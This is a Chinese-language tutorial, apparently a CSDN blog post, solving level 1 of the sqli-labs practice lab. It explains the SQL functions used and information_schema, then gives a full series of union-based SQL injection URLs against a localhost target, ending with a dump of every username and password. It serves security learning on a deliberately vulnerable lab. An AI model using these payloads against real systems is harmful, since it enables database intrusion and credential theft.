sqli-labs-less-1完整解析,小白干货

Less-1

Sql知识点:

Limit(x,y):从x+1行开始输出,共输出y行
Order by:排序,asc升序(默认),desc(降序)
Union:MySQL执行两条SELECT语句,并把输出组合成单个查询结果集
Group_concat:连接作用,group_concat( 要连接的字段 ) [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’]
concat_ws:concat_ws(‘-’,a,b) 将a和b用-连接起来

MySQL中默认建立的数据库:information_schema,该库中包含三个表:
(1) scheata:存储用户所有的数据库名,记录数据库名的字段:schema_name
(2) tables:存储用户创建的所有数据库的库名和表名,库名字段:table_schema,表名字段:table_name
(3) columns:存储用户创建的所有库名,表名,字段名,库名字段:table_schema,表名字段:table_name,字段名:column_name

开始注入:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1 正常显示 输出了Your Login name: xxx

Your Password: xxx

http://127.0.0.1/sqli-labs-master/Less-1/?id=2 正常显示,与id=1返回结果不同

http://127.0.0.1/sqli-labs-master/Less-1/?id=2’ 出现错误,判断为存在注入漏洞

开始判断有几列字段:

http://127.0.0.1/sqli-labs-master/Less-1/?id=2’ order by 10 --+ 错误:Unknown column ‘10’ in ‘order clause’ 表示第10行不存在,缩小数值,继续测试

http://127.0.0.1/sqli-labs-master/Less-1/?id=2’ order by 3 --+ 正常显示,说明字段有3列

开始判断哪些数据可以回显:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,3 --+
设置id=-2的原因,这样1,2,3可以对应到各自的列,通过输出可以判断,回显的是哪些列,若id=1,则永远会输出id=1哪一行的信息

查看当前数据库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,database() --+

查看当前用户:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,user() --+

查看所有数据库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+

此时以获取信息:

当前数据库,当前用户,该数据库中的字段数,回显的信息在那几行,所有数据库

查看当前数据库中的所有表:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
为避免’security’中单引号出现注入错误,建议将security转换成十六进制
即为:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479–+

判断数据应该来自users表中,现在查询该表中的所有字段:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273–+
获取到信息:Your Password:id,username,password

下面查询username:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,group_concat(username) from security.users–+
字段username中的信息全部查询出来了

查询password:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,group_concat(password) from security.users–+
字段password信息全部查询出来了

下面将username和password用~连接再联合输出:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users–+

至此,less-1结束

已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 游动-白 设计师:上身试试 返回首页